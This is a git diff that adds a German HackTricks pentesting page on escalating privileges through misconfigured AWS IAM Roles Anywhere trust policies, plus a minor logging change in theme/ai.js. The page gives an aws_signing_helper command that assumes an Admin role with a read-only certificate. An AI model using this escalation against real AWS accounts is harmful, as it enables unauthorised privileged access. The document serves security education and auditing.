diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md new file mode 100644 index 000000000..2967d7219 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md @@ -0,0 +1,42 @@ +# AWS - IAM Roles Anywhere Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +AWS IAM RolesAnywhere ermöglicht es Workloads außerhalb von AWS, IAM-Rollen mithilfe von X.509-Zertifikaten zu übernehmen. Wenn jedoch Vertrauensrichtlinien nicht ordnungsgemäß festgelegt sind, können sie für Privilegieneskalation missbraucht werden. + +Diese Richtlinie weist keine Einschränkungen auf, welche Vertrauensanker oder Zertifikatsattribute erlaubt sind. Infolgedessen kann jedes Zertifikat, das mit einem beliebigen Vertrauensanker im Konto verknüpft ist, verwendet werden, um diese Rolle zu übernehmen. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Service": "rolesanywhere.amazonaws.com" +}, +"Action": [ +"sts:AssumeRole", +"sts:SetSourceIdentity", +"sts:TagSession" +] +} +] +} + +``` +Um Privilegien zu eskalieren, ist der `aws_signing_helper` erforderlich von https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html + +Dann kann der Angreifer mit einem gültigen Zertifikat in die Rolle mit höheren Rechten wechseln. +```bash +aws_signing_helper credential-process \ +--certificate readonly.pem \ +--private-key readonly.key \ +--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ +--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ +--role-arn arn:aws:iam::123456789012:role/Admin +``` +### Referenzen + +- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/ + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index c94992d5f..13337c3f1 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -226,7 +226,7 @@ `threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`; } catch (e) { console.error("Error creating threadId:", e); - alert("Failed to initialise the conversation. Please refresh."); + console.log("Failed to initialise the conversation. Please refresh."); throw e; } }